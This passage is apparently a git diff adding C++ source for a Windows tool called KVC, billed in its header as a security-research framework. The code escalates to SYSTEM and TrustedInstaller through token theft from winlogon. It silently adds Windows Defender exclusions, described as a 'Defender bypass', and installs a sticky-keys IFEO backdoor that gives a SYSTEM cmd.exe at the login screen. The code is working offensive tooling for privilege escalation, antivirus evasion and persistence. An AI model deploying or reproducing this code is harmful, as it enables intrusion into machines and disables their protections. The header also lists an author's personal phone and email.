path.filename().wstring(); + INFO(L"Extracted process name from path: %s", processedValue.c_str()); + } + break; + + case ExclusionType::Paths: + // No special processing needed for paths + break; + } + + // Escape single quotes for PowerShell + std::wstring escapedValue; + for (wchar_t c : processedValue) { + if (c == L'\'') + escapedValue += L"''"; + else + escapedValue += c; + } + + std::wstring typeStr = GetExclusionTypeString(type); + std::wstring command = L"powershell -Command \"Add-MpPreference -Exclusion" + typeStr + L" '" + escapedValue + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully added to Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); + } else { + ERROR(L"Failed to add to Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); + } + + return result; +} + +bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value) +{ + std::wstring processedValue = value; + + // Apply same processing as in Add method + switch (type) { + case ExclusionType::Extensions: + processedValue = NormalizeExtension(value); + break; + case ExclusionType::Processes: + if (value.find(L'\\') != std::wstring::npos) { + fs::path path(value); + processedValue = path.filename().wstring(); + } + break; + } + + // Escape single quotes for PowerShell + std::wstring escapedValue; + for (wchar_t c : processedValue) { + if (c == L'\'') + escapedValue += L"''"; + else + escapedValue += c; + } + + std::wstring typeStr = GetExclusionTypeString(type); + std::wstring command = L"powershell -Command \"Remove-MpPreference -Exclusion" + typeStr + L" '" + escapedValue + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully removed from Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); + } else { + ERROR(L"Failed to remove from Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); + } + + return result; +} + +// Type-specific convenience methods +bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) +{ + return AddDefenderExclusion(ExclusionType::Extensions, extension); +} + +bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) +{ + return RemoveDefenderExclusion(ExclusionType::Extensions, extension); +} + +bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) +{ + return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress); +} + +bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) +{ + return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress); +} + +// Validation and helper methods +bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept +{ + if (extension.empty()) return false; + + // Check for invalid characters in extensions + const std::wstring invalidChars = L"\\/:*?\"<>|"; + for (wchar_t c : extension) { + if (invalidChars.find(c) != std::wstring::npos) { + return false; + } + } + + return true; +} + +bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept +{ + if (ipAddress.empty()) return false; + + // Convert to narrow string for validation + std::string narrowIp; + for (wchar_t c : ipAddress) { + if (c > 127) return false; // Non-ASCII character + narrowIp.push_back(static_cast(c)); + } + + // Basic IPv4 validation (supports CIDR notation) + size_t dotCount = 0; + size_t slashPos = narrowIp.find('/'); + std::string ipPart = (slashPos != std::string::npos) ? narrowIp.substr(0, slashPos) : narrowIp; + + for (char c : ipPart) { + if (c == '.') { + dotCount++; + } else if (!std::isdigit(c)) { + return false; + } + } + + // Should have exactly 3 dots for IPv4 + if (dotCount != 3) return false; + + // Validate CIDR suffix if present + if (slashPos != std::string::npos) { + std::string cidr = narrowIp.substr(slashPos + 1); + if (cidr.empty()) return false; + + try { + int cidrValue = std::stoi(cidr); + if (cidrValue < 0 || cidrValue > 32) return false; + } catch (...) { + return false; + } + } + + return true; +} + +std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept +{ + if (extension.empty()) return extension; + + // Add leading dot if missing + if (extension[0] != L'.') { + return L"." + extension; + } + + return extension; +} + +std::wstring TrustedInstallerIntegrator::GetExclusionTypeString(ExclusionType type) noexcept +{ + switch (type) { + case ExclusionType::Paths: return L"Path"; + case ExclusionType::Processes: return L"Process"; + case ExclusionType::Extensions: return L"Extension"; + case ExclusionType::IpAddresses: return L"IpAddress"; + default: return L"Path"; + } +} + +// Sticky keys backdoor installation using IFEO technique +bool TrustedInstallerIntegrator::InstallStickyKeysBackdoor() noexcept +{ + INFO(L"Installing sticky keys backdoor with Defender bypass..."); + + // First add cmd.exe to Defender process exclusions to prevent detection + if (!AddProcessToDefenderExclusions(L"cmd.exe")) { + ERROR(L"Failed to add cmd.exe to Defender process exclusions"); + return false; + } + + // Create IFEO registry entry for sethc.exe + HKEY hKey; + std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; + + LONG result = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); + + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to create IFEO registry key: %d", result); + RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Cleanup on failure + return false; + } + + // Set debugger value to cmd.exe + std::wstring debuggerValue = L"cmd.exe"; + result = RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, + reinterpret_cast(debuggerValue.c_str()), + static_cast((debuggerValue.length() + 1) * sizeof(wchar_t))); + + RegCloseKey(hKey); + + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to set Debugger registry value: %d", result); + RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Cleanup on failure + return false; + } + + SUCCESS(L"Sticky keys backdoor installed successfully"); + SUCCESS(L"Press 5x Shift on login screen to get SYSTEM cmd.exe"); + return true; +} + +// Complete removal of sticky keys backdoor +bool TrustedInstallerIntegrator::RemoveStickyKeysBackdoor() noexcept +{ + INFO(L"Removing sticky keys backdoor..."); + + bool success = true; + + // Remove IFEO registry key + std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; + LONG result = RegDeleteKeyW(HKEY_LOCAL_MACHINE, keyPath.c_str()); + + if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) { + ERROR(L"Failed to remove IFEO registry key: %d", result); + success = false; + } else if (result == ERROR_SUCCESS) { + SUCCESS(L"IFEO registry key removed"); + } + + // Remove cmd.exe from Defender process exclusions + if (!RemoveProcessFromDefenderExclusions(L"cmd.exe")) { + ERROR(L"Failed to remove cmd.exe from Defender process exclusions"); + success = false; + } + + if (success) { + SUCCESS(L"Sticky keys backdoor removed successfully"); + } else { + INFO(L"Sticky keys backdoor removal completed with some errors"); + } + + return success; +} + +// Enhanced Defender exclusion management with process support +bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath) +{ + wchar_t currentPath[MAX_PATH]; + + // Use custom path or current executable path + if (customPath.empty()) { + if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { + ERROR(L"Failed to get current module path"); + return false; + } + } else { + if (customPath.length() >= MAX_PATH) { + ERROR(L"File path too long"); + return false; + } + wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); + } + + fs::path filePath(currentPath); + bool isExecutable = (filePath.extension().wstring() == L".exe"); + bool isSelfProtection = customPath.empty(); // Self-protection when no custom path + + // Self-protection: add to BOTH paths and processes for complete protection + if (isSelfProtection && isExecutable) { + bool pathSuccess = AddPathExclusion(currentPath); + bool processSuccess = AddProcessToDefenderExclusions(filePath.filename().wstring()); + + if (pathSuccess && processSuccess) { + SUCCESS(L"Self-protection: added to both path and process exclusions"); + return true; + } else if (pathSuccess) { + SUCCESS(L"Self-protection: added to path exclusions (process exclusion failed)"); + return true; + } + return false; + } + + // Regular files: use existing logic + if (isExecutable) { + std::wstring processName = filePath.filename().wstring(); + return AddProcessToDefenderExclusions(processName); + } else { + return AddPathExclusion(currentPath); + } +} + +bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) { + // Escape single quotes in path for PowerShell + std::wstring escapedPath; + for (wchar_t c : path) { + if (c == L'\'') + escapedPath += L"''"; + else + escapedPath += c; + } + + std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionPath '" + escapedPath + L"'\""; + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully added to Windows Defender path exclusions: %s", path.c_str()); + } + return result; +} + +bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath) +{ + wchar_t currentPath[MAX_PATH]; + + // Use custom path or current executable path + if (customPath.empty()) { + if (GetModuleFileNameW(NULL, currentPath, MAX_PATH) == 0) { + ERROR(L"Failed to get current module path"); + return false; + } + } else { + if (customPath.length() >= MAX_PATH) { + ERROR(L"File path too long"); + return false; + } + wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); + } + + // Determine if it's an executable (process exclusion) or path exclusion + fs::path filePath(currentPath); + bool isExecutable = (filePath.extension().wstring() == L".exe"); + + if (isExecutable) { + // Remove from process exclusions + std::wstring processName = filePath.filename().wstring(); + return RemoveProcessFromDefenderExclusions(processName); + } else { + // Remove from path exclusions (original logic) + // Escape single quotes in path for PowerShell + std::wstring escapedPath; + for (wchar_t* p = currentPath; *p; ++p) { + if (*p == L'\'') + escapedPath += L"''"; + else + escapedPath += *p; + } + + // Build PowerShell command to remove path exclusion + std::wstring command = L"powershell -Command \"Remove-MpPreference -ExclusionPath '" + escapedPath + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully removed from Windows Defender path exclusions: %s", currentPath); + } else { + ERROR(L"Failed to remove from Windows Defender path exclusions"); + } + + return result; + } +} + +// Process exclusion management for Defender bypass +bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) +{ + // Escape single quotes in process name for PowerShell + std::wstring escapedProcessName; + for (wchar_t c : processName) { + if (c == L'\'') + escapedProcessName += L"''"; // Double single quotes for PowerShell escaping + else + escapedProcessName += c; + } + + // Build PowerShell command to add process exclusion + std::wstring command = L"powershell -Command \"Add-MpPreference -ExclusionProcess '" + escapedProcessName + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully added to Windows Defender process exclusions: %s", processName.c_str()); + } else { + ERROR(L"Failed to add to Windows Defender process exclusions: %s", processName.c_str()); + } + + return result; +} + +bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) +{ + // Escape single quotes in process name for PowerShell + std::wstring escapedProcessName; + for (wchar_t c : processName) { + if (c == L'\'') + escapedProcessName += L"''"; + else + escapedProcessName += c; + } + + // Build PowerShell command to remove process exclusion + std::wstring command = L"powershell -Command \"Remove-MpPreference -ExclusionProcess '" + escapedProcessName + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully removed from Windows Defender process exclusions: %s", processName.c_str()); + } else { + ERROR(L"Failed to remove from Windows Defender process exclusions: %s", processName.c_str()); + } + + return result; +} + +// Shortcut file detection and resolution +BOOL TrustedInstallerIntegrator::IsLnkFile(LPCWSTR filePath) +{ + if (!filePath || wcslen(filePath) < 4) + return FALSE; + + fs::path path(filePath); + std::wstring ext = path.extension().wstring(); + + return _wcsicmp(ext.c_str(), L".lnk") == 0; +} + +std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath) +{ + std::wstring result; + IShellLinkW* psl = nullptr; + IPersistFile* ppf = nullptr; + + // Verify shortcut file exists + if (GetFileAttributesW(lnkPath) == INVALID_FILE_ATTRIBUTES) + { + std::wcout << L"Shortcut file does not exist: " << lnkPath << std::endl; + return result; + } + + // Create shell link object + HRESULT hres = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (LPVOID*)&psl); + if (FAILED(hres)) + { + std::wcout << L"Failed to create ShellLink instance: 0x" << std::hex << hres << std::endl; + return result; + } + + // Get persist file interface + hres = psl->QueryInterface(IID_IPersistFile, (LPVOID*)&ppf); + if (FAILED(hres)) + { + std::wcout << L"Failed to get IPersistFile interface: 0x" << std::hex << hres << std::endl; + psl->Release(); + return result; + } + + // Load shortcut file + hres = ppf->Load(lnkPath, STGM_READ); + if (FAILED(hres)) + { + std::wcout << L"Failed to load shortcut file: 0x" << std::hex << hres << std::endl; + ppf->Release(); + psl->Release(); + return result; + } + + // Extract target path and arguments + wchar_t targetPath[MAX_PATH * 2] = {0}; + WIN32_FIND_DATAW wfd = {0}; + + hres = psl->GetPath(targetPath, MAX_PATH * 2, &wfd, SLGP_RAWPATH); + if (FAILED(hres)) + { + std::wcout << L"Failed to get shortcut target path: 0x" << std::hex << hres << std::endl; + } + else if (wcslen(targetPath) > 0) + { + result = targetPath; + + // Append arguments if present + wchar_t args[MAX_PATH * 2] = {0}; + hres = psl->GetArguments(args, MAX_PATH * 2); + if (SUCCEEDED(hres) && wcslen(args) > 0) + { + result += L" "; + result += args; + } + } + + ppf->Release(); + psl->Release(); + + return result; +} + +BOOL TrustedInstallerIntegrator::EnablePrivilege(LPCWSTR privilegeName) +{ + HANDLE hToken; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) + return FALSE; + + LUID luid; + if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) + { + CloseHandle(hToken); + return FALSE; + } + + TOKEN_PRIVILEGES tp = { 0 }; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); + CloseHandle(hToken); + + return result && (GetLastError() == ERROR_SUCCESS); +} + +DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) +{ + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot == INVALID_HANDLE_VALUE) + return 0; + + DWORD pid = 0; + PROCESSENTRY32W pe; + pe.dwSize = sizeof(PROCESSENTRY32W); + + if (Process32FirstW(hSnapshot, &pe)) + { + do + { + if (wcscmp(pe.szExeFile, processName) == 0) + { + pid = pe.th32ProcessID; + break; + } + } while (Process32NextW(hSnapshot, &pe)); + } + + CloseHandle(hSnapshot); + return pid; +} + +// SYSTEM account impersonation via winlogon process +BOOL TrustedInstallerIntegrator::ImpersonateSystem() +{ + DWORD systemPid = GetProcessIdByName(L"winlogon.exe"); + if (systemPid == 0) + return FALSE; + + HANDLE hSystemProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, systemPid); + if (!hSystemProcess) + return FALSE; + + HANDLE hSystemToken; + if (!OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hSystemToken)) + { + CloseHandle(hSystemProcess); + return FALSE; + } + + HANDLE hDuplicatedToken; + if (!DuplicateTokenEx(hSystemToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDuplicatedToken)) + { + CloseHandle(hSystemToken); + CloseHandle(hSystemProcess); + return FALSE; + } + + BOOL result = ImpersonateLoggedOnUser(hDuplicatedToken); + + CloseHandle(hDuplicatedToken); + CloseHandle(hSystemToken); + CloseHandle(hSystemProcess); + return result; +} + +// TrustedInstaller service lifecycle management +DWORD TrustedInstallerIntegrator::StartTrustedInstallerService() +{ + SC_HANDLE hSCManager = OpenSCManagerW(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT); + if (!hSCManager) + return 0; + + SC_HANDLE hService = OpenServiceW(hSCManager, L"TrustedInstaller", SERVICE_QUERY_STATUS | SERVICE_START); + if (!hService) + { + CloseServiceHandle(hSCManager); + return 0; + } + + SERVICE_STATUS_PROCESS statusBuffer; + DWORD bytesNeeded; + DWORD trustedInstallerPid = 0; + DWORD startTime = GetTickCount(); + const DWORD timeout = 30000; // 30 second timeout + + // Wait for service to reach running state + while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded)) + { + switch (statusBuffer.dwCurrentState) + { + case SERVICE_STOPPED: + // Start the service + if (!StartServiceW(hService, 0, NULL)) + { + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return 0; + } + break; + + case SERVICE_START_PENDING: + case SERVICE_STOP_PENDING: + // Check timeout + if (GetTickCount() - startTime > timeout) + { + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return 0; + } + Sleep(statusBuffer.dwWaitHint); + break; + + case SERVICE_RUNNING: + // Service is running, return PID + trustedInstallerPid = statusBuffer.dwProcessId; + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return trustedInstallerPid; + + default: + Sleep(100); + break; + } + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCManager); + return 0; +} + +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine) +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) return FALSE; + + // CreateProcessWithTokenW requires mutable command line + wchar_t* mutableCmd = _wcsdup(commandLine); + if (!mutableCmd) return FALSE; + + STARTUPINFOW si = { sizeof(si) }; + PROCESS_INFORMATION pi; + + BOOL result = CreateProcessWithTokenW( + hToken, + 0, + NULL, + mutableCmd, + 0, + NULL, + NULL, + &si, + &pi + ); + + if (result) + { + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + free(mutableCmd); + return result; +} + +BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine) +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) return FALSE; + + wchar_t* mutableCmd = _wcsdup(commandLine); + if (!mutableCmd) return FALSE; + + STARTUPINFOW si = { sizeof(si) }; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; // Hide window for silent execution + + PROCESS_INFORMATION pi; + BOOL result = CreateProcessWithTokenW( + hToken, + 0, + NULL, + mutableCmd, + CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP, + NULL, + NULL, + &si, + &pi + ); + + if (result) + { + // Wait for process completion with timeout + DWORD waitResult = WaitForSingleObject(pi.hProcess, 15000); + + if (waitResult == WAIT_OBJECT_0) + { + DWORD exitCode; + GetExitCodeProcess(pi.hProcess, &exitCode); + result = (exitCode == 0); + } + else if (waitResult == WAIT_TIMEOUT) + { + TerminateProcess(pi.hProcess, 1); + result = FALSE; + } + else + { + result = FALSE; + } + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + } + + free(mutableCmd); + return result; +} + +// Registry context menu integration +bool TrustedInstallerIntegrator::AddContextMenuEntries() +{ + wchar_t currentPath[MAX_PATH]; + GetModuleFileNameW(NULL, currentPath, MAX_PATH); + + // Build command line for context menu + std::wstring command = L"\""; + command += currentPath; + command += L"\" trusted \"%1\""; + + std::wstring iconPath = L"shell32.dll,77"; // Shield icon from shell32 + + HKEY hKey; + DWORD dwDisposition; + + // Add context menu for .exe files + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"exefile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + std::wstring menuText = L"Run as TrustedInstaller"; + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), + (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); + + // Set icon + RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), + (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); + + // Add UAC shield + std::wstring emptyValue = L""; + RegSetValueExW(hKey, L"HasLUAShield", 0, REG_SZ, (const BYTE*)emptyValue.c_str(), sizeof(wchar_t)); + RegCloseKey(hKey); + } + + // Add command for .exe files + std::wstring exeCommandPath = L"exefile\\shell\\RunAsTrustedInstaller\\command"; + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, exeCommandPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)command.c_str(), + (DWORD)(command.length() + 1) * sizeof(wchar_t)); + RegCloseKey(hKey); + } + + // Add context menu for .lnk files (shortcuts) + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, L"lnkfile\\shell\\RunAsTrustedInstaller", 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + std::wstring menuText = L"Run as TrustedInstaller"; + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)menuText.c_str(), + (DWORD)(menuText.length() + 1) * sizeof(wchar_t)); + + // Set icon + RegSetValueExW(hKey, L"Icon", 0, REG_SZ, (const BYTE*)iconPath.c_str(), + (DWORD)(iconPath.length() + 1) * sizeof(wchar_t)); + + // Add UAC shield + std::wstring emptyValue = L""; + RegSetValueExW(hKey, L"HasLUASShield", 0, REG_SZ, (const BYTE*)emptyValue.c_str(), sizeof(wchar_t)); + RegCloseKey(hKey); + } + + // Add command for .lnk files + std::wstring lnkCommandPath = L"lnkfile\\shell\\RunAsTrustedInstaller\\command"; + if (RegCreateKeyExW(HKEY_CLASSES_ROOT, lnkCommandPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, + KEY_WRITE, NULL, &hKey, &dwDisposition) == ERROR_SUCCESS) + { + RegSetValueExW(hKey, NULL, 0, REG_SZ, (const BYTE*)command.c_str(), + (DWORD)(command.length() + 1) * sizeof(wchar_t)); + RegCloseKey(hKey); + } + + SUCCESS(L"Successfully added context menu entries for .exe and .lnk files"); + return true; +} + +// TrustedInstaller command execution with shortcut resolution +bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& commandLine) +{ + std::wstring finalCommandLine = commandLine; + + // Resolve shortcut if the command is a .lnk file + if (IsLnkFile(commandLine.c_str())) + { + std::wcout << L"Resolving shortcut: " << commandLine << std::endl; + finalCommandLine = ResolveLnk(commandLine.c_str()); + + if (finalCommandLine.empty()) + { + std::wcout << L"Failed to resolve shortcut, cannot execute .lnk file directly." << std::endl; + return false; + } + + std::wcout << L"Resolved shortcut to: " << finalCommandLine << std::endl; + } + + std::wcout << L"Executing with elevated system privileges: " << finalCommandLine << std::endl; + + // Enable required privileges + EnablePrivilege(L"SeDebugPrivilege"); + EnablePrivilege(L"SeImpersonatePrivilege"); + EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); + + // Impersonate SYSTEM to access TrustedInstaller + if (!ImpersonateSystem()) + { + std::wcout << L"Failed to impersonate SYSTEM account: " << GetLastError() << std::endl; + return false; + } + + // Start TrustedInstaller service + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (trustedInstallerPid == 0) + { + std::wcout << L"Failed to start elevated system service: " << GetLastError() << std::endl; + RevertToSelf(); + return false; + } + + // Create process with TrustedInstaller privileges + BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str()); + if (!result) + { + std::wcout << L"Failed to create process with elevated privileges: " << GetLastError() << std::endl; + } + else + { + std::wcout << L"Process started successfully with maximum system privileges" << std::endl; + } + + RevertToSelf(); + return result != FALSE; +} + +bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring& commandLine) +{ + std::wstring finalCommandLine = commandLine; + + // Resolve shortcut if needed + if (IsLnkFile(commandLine.c_str())) + { + finalCommandLine = ResolveLnk(commandLine.c_str()); + if (finalCommandLine.empty()) { + return false; + } + } + + // Enable privileges silently + EnablePrivilege(L"SeDebugPrivilege"); + EnablePrivilege(L"SeImpersonatePrivilege"); + EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); + + if (!ImpersonateSystem()) { + return false; + } + + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (trustedInstallerPid == 0) { + RevertToSelf(); + return false; + } + + BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str()); + + RevertToSelf(); + return result != FALSE; +} \ No newline at end of file diff --git a/kvc/TrustedInstallerIntegrator.h b/kvc/TrustedInstallerIntegrator.h new file mode 100644 index 0000000..3aef00b --- /dev/null +++ b/kvc/TrustedInstallerIntegrator.h @@ -0,0 +1,82 @@ +#pragma once + +#include +#include +#include + +// TrustedInstaller privilege escalation for maximum system access +class TrustedInstallerIntegrator +{ +public: + TrustedInstallerIntegrator(); + ~TrustedInstallerIntegrator(); + + // Enhanced exclusion types for comprehensive Defender management + enum class ExclusionType { + Paths, + Processes, + Extensions, + IpAddresses + }; + + // Main public interface for elevated operations + bool RunAsTrustedInstaller(const std::wstring& commandLine); + bool RunAsTrustedInstallerSilent(const std::wstring& commandLine); + + // Legacy exclusion management (backward compatibility) + bool AddToDefenderExclusions(const std::wstring& customPath = L""); + bool RemoveFromDefenderExclusions(const std::wstring& customPath = L""); + bool AddContextMenuEntries(); + + // Enhanced exclusion management with type specification + bool AddDefenderExclusion(ExclusionType type, const std::wstring& value); + bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value); + + // Type-specific exclusion methods for convenience + bool AddExtensionExclusion(const std::wstring& extension); + bool RemoveExtensionExclusion(const std::wstring& extension); + bool AddIpAddressExclusion(const std::wstring& ipAddress); + bool RemoveIpAddressExclusion(const std::wstring& ipAddress); + + // Sticky keys backdoor management + bool InstallStickyKeysBackdoor() noexcept; + bool RemoveStickyKeysBackdoor() noexcept; + + // Process exclusion management for Defender bypass + bool AddProcessToDefenderExclusions(const std::wstring& processName); + bool RemoveProcessFromDefenderExclusions(const std::wstring& processName); + + // Public access methods for Controller integration + static const LPCWSTR* GetAllPrivileges() { return ALL_PRIVILEGES; } + static int GetPrivilegeCount() { return PRIVILEGE_COUNT; } + bool PublicImpersonateSystem() { return ImpersonateSystem(); } + + // TrustedInstaller token management + HANDLE GetCachedTrustedInstallerToken(); + DWORD StartTrustedInstallerService(); + +private: + // Privilege and process management + BOOL EnablePrivilege(LPCWSTR privilegeName); + DWORD GetProcessIdByName(LPCWSTR processName); + BOOL ImpersonateSystem(); + + // Process creation with TrustedInstaller token + BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine); + BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine); + + // Shortcut file handling for .lnk support + std::wstring ResolveLnk(LPCWSTR lnkPath); + BOOL IsLnkFile(LPCWSTR filePath); + bool AddPathExclusion(const std::wstring& path); + + // Validation and helper methods for exclusions + bool ValidateExtension(const std::wstring& extension) noexcept; + bool ValidateIpAddress(const std::wstring& ipAddress) noexcept; + std::wstring NormalizeExtension(const std::wstring& extension) noexcept; + std::wstring GetExclusionTypeString(ExclusionType type) noexcept; + + // Complete Windows privilege set for maximum access + static const LPCWSTR ALL_PRIVILEGES[]; + static const int PRIVILEGE_COUNT; +}; \ No newline at end of file diff --git a/kvc/Utils.cpp b/kvc/Utils.cpp new file mode 100644 index 0000000..85eb9db --- /dev/null +++ b/kvc/Utils.cpp @@ -0,0 +1,902 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// Utils.cpp - Fixed compilation issues with NtQuerySystemInformation +#include "Utils.h" +#include "common.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "resource.h" + +namespace fs = std::filesystem; + +#pragma comment(lib, "psapi.lib") + + +namespace Utils +{ + // Optimized kernel address resolution with inline assembly hints + std::optional GetKernelBaseAddress() noexcept { + static ULONG_PTR cachedBase = 0; + static DWORD lastCheck = 0; + + const DWORD currentTick = static_cast(GetTickCount64()); + if (cachedBase != 0 && (currentTick - lastCheck) < 60000) { // Cache for 1 minute + return cachedBase; + } + + // Method 1: NtQuerySystemInformation + typedef NTSTATUS(WINAPI* pNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG); + const HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) return std::nullopt; + + const pNtQuerySystemInformation NtQuerySystemInformation = + reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + if (!NtQuerySystemInformation) return std::nullopt; + + ULONG bufferSize = 0; + NtQuerySystemInformation(11, nullptr, 0, &bufferSize); // SystemModuleInformation + + if (bufferSize == 0) return std::nullopt; + + std::vector buffer(bufferSize); + const NTSTATUS status = NtQuerySystemInformation(11, buffer.data(), bufferSize, nullptr); + + if (status == 0) { // STATUS_SUCCESS + struct SYSTEM_MODULE { + ULONG_PTR Reserved[2]; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; + }; + + struct 